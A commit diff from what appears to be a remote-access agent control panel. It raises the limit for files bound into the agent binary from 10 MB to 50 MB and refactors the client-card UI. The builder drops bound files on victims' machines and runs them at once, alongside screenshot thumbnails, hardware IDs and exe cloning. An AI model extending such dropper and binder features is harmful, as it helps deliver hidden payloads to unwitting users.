improve cards getting updated, move bind size to 50 mb and also fix custom css for some pages
This commit is contained in:
@@ -702,7 +702,7 @@ if (cloneExeUpload) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const MAX_BIND_FILES = 5;
|
const MAX_BIND_FILES = 5;
|
||||||
const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024; // 10 MB
|
const MAX_BIND_FILE_BYTES = 50 * 1024 * 1024; // 50 MB
|
||||||
|
|
||||||
let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }
|
let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }
|
||||||
|
|
||||||
@@ -796,7 +796,7 @@ if (bindFileInput) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (file.size > MAX_BIND_FILE_BYTES) {
|
if (file.size > MAX_BIND_FILE_BYTES) {
|
||||||
alert(`Each bound file must be under 10 MB. "${file.name}" is too large.`);
|
alert(`Each bound file must be under 50 MB. "${file.name}" is too large.`);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
const safeName = sanitizeBindName(file.name);
|
const safeName = sanitizeBindName(file.name);
|
||||||
|
|||||||
@@ -15,6 +15,10 @@ function escapeHtml(text) {
|
|||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function cardDigest(c) {
|
||||||
|
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`;
|
||||||
|
}
|
||||||
|
|
||||||
export function createRenderer({
|
export function createRenderer({
|
||||||
grid,
|
grid,
|
||||||
totalPill,
|
totalPill,
|
||||||
@@ -32,15 +36,209 @@ export function createRenderer({
|
|||||||
const TOUCH_LONG_PRESS_MS = 520;
|
const TOUCH_LONG_PRESS_MS = 520;
|
||||||
const TOUCH_MOVE_CANCEL_PX = 10;
|
const TOUCH_MOVE_CANCEL_PX = 10;
|
||||||
let renderToken = 0;
|
let renderToken = 0;
|
||||||
|
let gridDelegated = false;
|
||||||
|
|
||||||
|
/* ── Event delegation ─────────────────────────────────────────── */
|
||||||
|
|
||||||
|
function setupGridDelegation() {
|
||||||
|
if (gridDelegated) return;
|
||||||
|
gridDelegated = true;
|
||||||
|
|
||||||
|
grid.addEventListener("click", (e) => {
|
||||||
|
const card = e.target.closest("article[data-id]");
|
||||||
|
if (!card) return;
|
||||||
|
const clientId = card.dataset.id;
|
||||||
|
|
||||||
|
if (e.target.closest(".client-checkbox")) {
|
||||||
|
e.stopPropagation();
|
||||||
|
if (window.toggleClientSelection) window.toggleClientSelection(clientId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const bookmarkBtn = e.target.closest(".bookmark-btn");
|
||||||
|
if (bookmarkBtn) {
|
||||||
|
e.stopPropagation();
|
||||||
|
handleBookmarkClick(card, bookmarkBtn);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (e.target.closest(".command-btn")) {
|
||||||
|
e.stopPropagation();
|
||||||
|
const rect = e.target.closest(".command-btn").getBoundingClientRect();
|
||||||
|
openMenu(clientId, rect.right, rect.bottom);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (e.target.closest(".ban-btn")) {
|
||||||
|
e.stopPropagation();
|
||||||
|
if (window.banClient) window.banClient(clientId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (e.target.closest(".client-tag-toggle")) {
|
||||||
|
e.stopPropagation();
|
||||||
|
handleTagToggle(card);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (e.target.closest(".hw-toggle")) {
|
||||||
|
e.stopPropagation();
|
||||||
|
handleHwToggle(card);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const thumbImg = e.target.closest(".thumb-img");
|
||||||
|
if (thumbImg) {
|
||||||
|
if (thumbImg.src) openModal(thumbImg.src);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (card._longPressTriggered) {
|
||||||
|
card._longPressTriggered = false;
|
||||||
|
e.preventDefault();
|
||||||
|
e.stopPropagation();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (e.target.closest("button")) return;
|
||||||
|
if (e.target.closest(".client-checkbox")) return;
|
||||||
|
const checkbox = card.querySelector(".client-checkbox");
|
||||||
|
if (e.ctrlKey || e.metaKey || e.shiftKey) {
|
||||||
|
if (checkbox && !checkbox.disabled) {
|
||||||
|
checkbox.checked = !checkbox.checked;
|
||||||
|
if (window.toggleClientSelection) window.toggleClientSelection(clientId);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (card.dataset.online !== "true") return;
|
||||||
|
if (pingClient) pingClient(clientId);
|
||||||
|
requestThumbnail(clientId);
|
||||||
|
});
|
||||||
|
|
||||||
|
grid.addEventListener("contextmenu", (e) => {
|
||||||
|
const card = e.target.closest("article[data-id]");
|
||||||
|
if (!card || isViewer) return;
|
||||||
|
e.preventDefault();
|
||||||
|
openMenu(card.dataset.id, e.clientX, e.clientY);
|
||||||
|
});
|
||||||
|
|
||||||
|
grid.addEventListener("pointerdown", (e) => {
|
||||||
|
if (isViewer || e.pointerType !== "touch") return;
|
||||||
|
if (e.target.closest("button") || e.target.closest(".client-checkbox")) return;
|
||||||
|
const card = e.target.closest("article[data-id]");
|
||||||
|
if (!card) return;
|
||||||
|
card._longPressTriggered = false;
|
||||||
|
card._pointerStartX = e.clientX;
|
||||||
|
card._pointerStartY = e.clientY;
|
||||||
|
clearTimeout(card._longPressTimer);
|
||||||
|
card._longPressTimer = setTimeout(() => {
|
||||||
|
card._longPressTriggered = true;
|
||||||
|
openMenu(card.dataset.id, e.clientX, e.clientY);
|
||||||
|
}, TOUCH_LONG_PRESS_MS);
|
||||||
|
});
|
||||||
|
|
||||||
|
grid.addEventListener("pointermove", (e) => {
|
||||||
|
if (e.pointerType !== "touch") return;
|
||||||
|
const card = e.target.closest("article[data-id]");
|
||||||
|
if (!card || !card._longPressTimer) return;
|
||||||
|
if (
|
||||||
|
Math.abs(e.clientX - card._pointerStartX) > TOUCH_MOVE_CANCEL_PX ||
|
||||||
|
Math.abs(e.clientY - card._pointerStartY) > TOUCH_MOVE_CANCEL_PX
|
||||||
|
) {
|
||||||
|
clearTimeout(card._longPressTimer);
|
||||||
|
card._longPressTimer = null;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
const clearLongPress = (e) => {
|
||||||
|
if (e.pointerType !== "touch") return;
|
||||||
|
const card = e.target.closest("article[data-id]");
|
||||||
|
if (card) { clearTimeout(card._longPressTimer); card._longPressTimer = null; }
|
||||||
|
};
|
||||||
|
grid.addEventListener("pointerup", clearLongPress);
|
||||||
|
grid.addEventListener("pointercancel", clearLongPress);
|
||||||
|
grid.addEventListener("pointerleave", clearLongPress, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function handleBookmarkClick(card, btn) {
|
||||||
|
const id = card.dataset.id;
|
||||||
|
const isBookmarked = card.dataset.bookmarked === "true";
|
||||||
|
try {
|
||||||
|
const res = await fetch(`/api/clients/${id}/bookmark`, {
|
||||||
|
method: "PATCH",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ bookmarked: !isBookmarked }),
|
||||||
|
});
|
||||||
|
if (res.ok) {
|
||||||
|
card.dataset.bookmarked = String(!isBookmarked);
|
||||||
|
const icon = btn.querySelector("i");
|
||||||
|
if (!isBookmarked) {
|
||||||
|
btn.classList.remove("border-slate-700", "bg-slate-800/50", "text-slate-500");
|
||||||
|
btn.classList.add("border-yellow-600", "bg-yellow-900/50", "text-yellow-300");
|
||||||
|
card.classList.remove("border-slate-800");
|
||||||
|
card.classList.add("border-yellow-600/60");
|
||||||
|
if (icon) { icon.classList.remove("fa-regular"); icon.classList.add("fa-solid"); }
|
||||||
|
btn.title = "Remove bookmark";
|
||||||
|
} else {
|
||||||
|
btn.classList.remove("border-yellow-600", "bg-yellow-900/50", "text-yellow-300");
|
||||||
|
btn.classList.add("border-slate-700", "bg-slate-800/50", "text-slate-500");
|
||||||
|
card.classList.remove("border-yellow-600/60");
|
||||||
|
card.classList.add("border-slate-800");
|
||||||
|
if (icon) { icon.classList.remove("fa-solid"); icon.classList.add("fa-regular"); }
|
||||||
|
btn.title = "Bookmark";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
console.error("bookmark toggle failed", err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleTagToggle(card) {
|
||||||
|
const notePanel = card.querySelector(".client-tag-note");
|
||||||
|
if (!notePanel) return;
|
||||||
|
const expanded = notePanel.classList.toggle("hidden") === false;
|
||||||
|
card.dataset.tagNoteExpanded = expanded ? "true" : "false";
|
||||||
|
const tagToggle = card.querySelector(".client-tag-toggle");
|
||||||
|
tagToggle?.setAttribute("aria-expanded", expanded ? "true" : "false");
|
||||||
|
const chevron = tagToggle?.querySelector(".fa-chevron-up, .fa-chevron-down");
|
||||||
|
if (chevron) {
|
||||||
|
chevron.classList.toggle("fa-chevron-up", expanded);
|
||||||
|
chevron.classList.toggle("fa-chevron-down", !expanded);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleHwToggle(card) {
|
||||||
|
const hwPanel = card.querySelector(".hw-panel");
|
||||||
|
if (!hwPanel) return;
|
||||||
|
const expanded = hwPanel.classList.toggle("hidden") === false;
|
||||||
|
card.dataset.hwExpanded = expanded ? "true" : "false";
|
||||||
|
const hwToggle = card.querySelector(".hw-toggle");
|
||||||
|
hwToggle?.setAttribute("aria-expanded", expanded ? "true" : "false");
|
||||||
|
const chevron = hwToggle?.querySelector(".fa-chevron-up, .fa-chevron-down");
|
||||||
|
if (chevron) {
|
||||||
|
chevron.classList.toggle("fa-chevron-up", expanded);
|
||||||
|
chevron.classList.toggle("fa-chevron-down", !expanded);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
function reorderCards(items) {
|
function reorderCards(items) {
|
||||||
|
const cards = grid.querySelectorAll("article[data-id]");
|
||||||
|
let needsReorder = cards.length !== items.length;
|
||||||
|
if (!needsReorder) {
|
||||||
|
for (let i = 0; i < items.length; i++) {
|
||||||
|
if (cards[i]?.dataset?.id !== items[i].id) { needsReorder = true; break; }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!needsReorder) return;
|
||||||
items.forEach((client) => {
|
items.forEach((client) => {
|
||||||
const card = grid.querySelector(`article[data-id="${client.id}"]`);
|
const card = grid.querySelector(`article[data-id="${client.id}"]`);
|
||||||
if (card) grid.appendChild(card);
|
if (card) grid.appendChild(card);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
function renderMerge(data, options = {}) {
|
function renderMerge(data, options = {}) {
|
||||||
|
setupGridDelegation();
|
||||||
const { reorder = false } = options;
|
const { reorder = false } = options;
|
||||||
totalPill.textContent = `${data.online ?? data.total} online / ${data.total} total`;
|
totalPill.textContent = `${data.online ?? data.total} online / ${data.total} total`;
|
||||||
const totalPages = Math.max(1, Math.ceil(data.total / data.pageSize));
|
const totalPages = Math.max(1, Math.ceil(data.total / data.pageSize));
|
||||||
@@ -62,6 +260,9 @@ export function createRenderer({
|
|||||||
seen.add(client.id);
|
seen.add(client.id);
|
||||||
const existing = grid.querySelector(`article[data-id="${client.id}"]`);
|
const existing = grid.querySelector(`article[data-id="${client.id}"]`);
|
||||||
if (existing) {
|
if (existing) {
|
||||||
|
const digest = cardDigest(client);
|
||||||
|
if (existing._cardDigest === digest) return;
|
||||||
|
existing._cardDigest = digest;
|
||||||
updateCard(existing, client);
|
updateCard(existing, client);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -122,56 +323,9 @@ export function createRenderer({
|
|||||||
const card = document.createElement("article");
|
const card = document.createElement("article");
|
||||||
card.dataset.id = client.id;
|
card.dataset.id = client.id;
|
||||||
card.dataset.hwid = client.hwid || "";
|
card.dataset.hwid = client.hwid || "";
|
||||||
let longPressTimer = null;
|
|
||||||
card._longPressTriggered = false;
|
|
||||||
let pointerStartX = 0;
|
|
||||||
let pointerStartY = 0;
|
|
||||||
|
|
||||||
const clearLongPress = () => {
|
|
||||||
if (longPressTimer) {
|
|
||||||
clearTimeout(longPressTimer);
|
|
||||||
longPressTimer = null;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
updateCard(card, client);
|
updateCard(card, client);
|
||||||
card.addEventListener("contextmenu", (e) => {
|
card._cardDigest = cardDigest(client);
|
||||||
e.preventDefault();
|
|
||||||
if (isViewer) return;
|
|
||||||
const clientId = card.dataset.id;
|
|
||||||
if (!clientId) return;
|
|
||||||
const { clientX, clientY } = e;
|
|
||||||
openMenu(clientId, clientX, clientY);
|
|
||||||
});
|
|
||||||
|
|
||||||
card.addEventListener("pointerdown", (e) => {
|
|
||||||
if (isViewer || e.pointerType !== "touch") return;
|
|
||||||
if (e.target.closest("button") || e.target.closest(".client-checkbox")) return;
|
|
||||||
const clientId = card.dataset.id;
|
|
||||||
if (!clientId) return;
|
|
||||||
|
|
||||||
card._longPressTriggered = false;
|
|
||||||
pointerStartX = e.clientX;
|
|
||||||
pointerStartY = e.clientY;
|
|
||||||
clearLongPress();
|
|
||||||
longPressTimer = setTimeout(() => {
|
|
||||||
card._longPressTriggered = true;
|
|
||||||
openMenu(clientId, e.clientX, e.clientY);
|
|
||||||
}, TOUCH_LONG_PRESS_MS);
|
|
||||||
});
|
|
||||||
|
|
||||||
card.addEventListener("pointermove", (e) => {
|
|
||||||
if (!longPressTimer || e.pointerType !== "touch") return;
|
|
||||||
const movedX = Math.abs(e.clientX - pointerStartX);
|
|
||||||
const movedY = Math.abs(e.clientY - pointerStartY);
|
|
||||||
if (movedX > TOUCH_MOVE_CANCEL_PX || movedY > TOUCH_MOVE_CANCEL_PX) {
|
|
||||||
clearLongPress();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
card.addEventListener("pointerup", clearLongPress);
|
|
||||||
card.addEventListener("pointercancel", clearLongPress);
|
|
||||||
card.addEventListener("pointerleave", clearLongPress);
|
|
||||||
|
|
||||||
if (options.animate) {
|
if (options.animate) {
|
||||||
card.classList.add("card-animate");
|
card.classList.add("card-animate");
|
||||||
@@ -322,121 +476,7 @@ export function createRenderer({
|
|||||||
if ((wasChecked || isSelected) && client.online) {
|
if ((wasChecked || isSelected) && client.online) {
|
||||||
checkbox.checked = true;
|
checkbox.checked = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
checkbox.addEventListener("change", (e) => {
|
|
||||||
e.stopPropagation();
|
|
||||||
if (window.toggleClientSelection) {
|
|
||||||
window.toggleClientSelection(client.id);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!isViewer) {
|
|
||||||
card.querySelector(".command-btn")?.addEventListener("click", (e) => {
|
|
||||||
e.stopPropagation();
|
|
||||||
const rect = e.currentTarget.getBoundingClientRect();
|
|
||||||
openMenu(client.id, rect.right, rect.bottom);
|
|
||||||
});
|
|
||||||
card.querySelector(".ban-btn")?.addEventListener("click", (e) => {
|
|
||||||
e.stopPropagation();
|
|
||||||
if (window.banClient) {
|
|
||||||
window.banClient(client.id);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
card.querySelector(".bookmark-btn")?.addEventListener("click", async (e) => {
|
|
||||||
e.stopPropagation();
|
|
||||||
const btn = e.currentTarget;
|
|
||||||
const id = btn.dataset.id;
|
|
||||||
const isBookmarked = card.dataset.bookmarked === "true";
|
|
||||||
try {
|
|
||||||
const res = await fetch(`/api/clients/${id}/bookmark`, {
|
|
||||||
method: "PATCH",
|
|
||||||
headers: { "Content-Type": "application/json" },
|
|
||||||
body: JSON.stringify({ bookmarked: !isBookmarked }),
|
|
||||||
});
|
|
||||||
if (res.ok) {
|
|
||||||
card.dataset.bookmarked = String(!isBookmarked);
|
|
||||||
const icon = btn.querySelector("i");
|
|
||||||
if (!isBookmarked) {
|
|
||||||
btn.classList.remove("border-slate-700", "bg-slate-800/50", "text-slate-500");
|
|
||||||
btn.classList.add("border-yellow-600", "bg-yellow-900/50", "text-yellow-300");
|
|
||||||
card.classList.remove("border-slate-800");
|
|
||||||
card.classList.add("border-yellow-600/60");
|
|
||||||
if (icon) { icon.classList.remove("fa-regular"); icon.classList.add("fa-solid"); }
|
|
||||||
btn.title = "Remove bookmark";
|
|
||||||
} else {
|
|
||||||
btn.classList.remove("border-yellow-600", "bg-yellow-900/50", "text-yellow-300");
|
|
||||||
btn.classList.add("border-slate-700", "bg-slate-800/50", "text-slate-500");
|
|
||||||
card.classList.remove("border-yellow-600/60");
|
|
||||||
card.classList.add("border-slate-800");
|
|
||||||
if (icon) { icon.classList.remove("fa-solid"); icon.classList.add("fa-regular"); }
|
|
||||||
btn.title = "Bookmark";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (err) {
|
|
||||||
console.error("bookmark toggle failed", err);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
card.querySelector(".client-tag-toggle")?.addEventListener("click", (e) => {
|
|
||||||
e.stopPropagation();
|
|
||||||
const notePanel = card.querySelector(".client-tag-note");
|
|
||||||
if (!notePanel) return;
|
|
||||||
const expanded = notePanel.classList.toggle("hidden") === false;
|
|
||||||
card.dataset.tagNoteExpanded = expanded ? "true" : "false";
|
|
||||||
const tagToggle = card.querySelector(".client-tag-toggle");
|
|
||||||
tagToggle?.setAttribute("aria-expanded", expanded ? "true" : "false");
|
|
||||||
const chevron = tagToggle?.querySelector(".fa-chevron-up, .fa-chevron-down");
|
|
||||||
if (chevron) {
|
|
||||||
chevron.classList.toggle("fa-chevron-up", expanded);
|
|
||||||
chevron.classList.toggle("fa-chevron-down", !expanded);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
card.querySelector(".hw-toggle")?.addEventListener("click", (e) => {
|
|
||||||
e.stopPropagation();
|
|
||||||
const hwPanel = card.querySelector(".hw-panel");
|
|
||||||
if (!hwPanel) return;
|
|
||||||
const expanded = hwPanel.classList.toggle("hidden") === false;
|
|
||||||
card.dataset.hwExpanded = expanded ? "true" : "false";
|
|
||||||
const hwToggle = card.querySelector(".hw-toggle");
|
|
||||||
hwToggle?.setAttribute("aria-expanded", expanded ? "true" : "false");
|
|
||||||
const chevron = hwToggle?.querySelector(".fa-chevron-up, .fa-chevron-down");
|
|
||||||
if (chevron) {
|
|
||||||
chevron.classList.toggle("fa-chevron-up", expanded);
|
|
||||||
chevron.classList.toggle("fa-chevron-down", !expanded);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
card
|
|
||||||
.querySelector(".thumb-img")
|
|
||||||
?.addEventListener("click", () => openModal(client.thumbnail));
|
|
||||||
|
|
||||||
card.onclick = (e) => {
|
|
||||||
if (card._longPressTriggered) {
|
|
||||||
card._longPressTriggered = false;
|
|
||||||
e.preventDefault();
|
|
||||||
e.stopPropagation();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (e.target.closest(".command-btn") || e.target.closest("button"))
|
|
||||||
return;
|
|
||||||
if (e.target.closest(".client-checkbox")) return;
|
|
||||||
if (e.ctrlKey || e.metaKey || e.shiftKey) {
|
|
||||||
if (checkbox && !checkbox.disabled) {
|
|
||||||
checkbox.checked = !checkbox.checked;
|
|
||||||
if (window.toggleClientSelection) {
|
|
||||||
window.toggleClientSelection(client.id);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if (!client.online) return;
|
|
||||||
if (pingClient) pingClient(client.id);
|
|
||||||
requestThumbnail(client.id);
|
|
||||||
};
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return { renderMerge };
|
return { renderMerge };
|
||||||
|
|||||||
@@ -532,7 +532,7 @@
|
|||||||
|
|
||||||
<p class="text-xs text-slate-400">
|
<p class="text-xs text-slate-400">
|
||||||
Files are embedded inside the agent binary and written to a temp directory when the agent starts.
|
Files are embedded inside the agent binary and written to a temp directory when the agent starts.
|
||||||
Up to 5 files, 10 MB each. Files set to <em>Execute</em> are launched immediately after being dropped.
|
Up to 5 files, 50 MB each. Files set to <em>Execute</em> are launched immediately after being dropped.
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<!-- macOS Gatekeeper note -->
|
<!-- macOS Gatekeeper note -->
|
||||||
|
|||||||
@@ -7,6 +7,7 @@
|
|||||||
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
|
||||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||||
<link rel="stylesheet" href="/assets/main.css" />
|
<link rel="stylesheet" href="/assets/main.css" />
|
||||||
|
<link rel="stylesheet" href="/assets/custom.css" />
|
||||||
<link
|
<link
|
||||||
rel="stylesheet"
|
rel="stylesheet"
|
||||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||||
|
|||||||
@@ -234,7 +234,7 @@ export async function handleBuildRoutes(
|
|||||||
? sleepSeconds : 0;
|
? sleepSeconds : 0;
|
||||||
|
|
||||||
const MAX_BOUND_FILES = 5;
|
const MAX_BOUND_FILES = 5;
|
||||||
const MAX_BOUND_FILE_BYTES = 10 * 1024 * 1024;
|
const MAX_BOUND_FILE_BYTES = 50 * 1024 * 1024;
|
||||||
const ALLOWED_BIND_TARGET_OS = new Set(["windows", "linux", "darwin"]);
|
const ALLOWED_BIND_TARGET_OS = new Set(["windows", "linux", "darwin"]);
|
||||||
const RESERVED_BIND_NAMES = new Set(["manifest.json"]);
|
const RESERVED_BIND_NAMES = new Set(["manifest.json"]);
|
||||||
type SafeBoundFile = { name: string; data: string; targetOS: string[]; execute: boolean };
|
type SafeBoundFile = { name: string; data: string; targetOS: string[]; execute: boolean };
|
||||||
@@ -266,7 +266,7 @@ export async function handleBuildRoutes(
|
|||||||
}
|
}
|
||||||
const approxDecodedBytes = Math.floor(f.data.length * 3 / 4);
|
const approxDecodedBytes = Math.floor(f.data.length * 3 / 4);
|
||||||
if (approxDecodedBytes > MAX_BOUND_FILE_BYTES) {
|
if (approxDecodedBytes > MAX_BOUND_FILE_BYTES) {
|
||||||
return Response.json({ error: `Bound file '${safeName}' exceeds the 10 MB limit` }, { status: 400 });
|
return Response.json({ error: `Bound file '${safeName}' exceeds the 50 MB limit` }, { status: 400 });
|
||||||
}
|
}
|
||||||
const safeTargetOS = Array.isArray(f.targetOS)
|
const safeTargetOS = Array.isArray(f.targetOS)
|
||||||
? f.targetOS.filter((o: unknown) => typeof o === "string" && ALLOWED_BIND_TARGET_OS.has(o as string)) as string[]
|
? f.targetOS.filter((o: unknown) => typeof o === "string" && ALLOWED_BIND_TARGET_OS.has(o as string)) as string[]
|
||||||
|
|||||||
@@ -657,6 +657,7 @@ export async function handlePluginRoutes(
|
|||||||
referrerpolicy="no-referrer"
|
referrerpolicy="no-referrer"
|
||||||
/>
|
/>
|
||||||
<link rel="stylesheet" href="/assets/main.css" />
|
<link rel="stylesheet" href="/assets/main.css" />
|
||||||
|
<link rel="stylesheet" href="/assets/custom.css" />
|
||||||
</head>
|
</head>
|
||||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||||
<header id="top-nav"></header>
|
<header id="top-nav"></header>
|
||||||
|
|||||||
Reference in New Issue
Block a user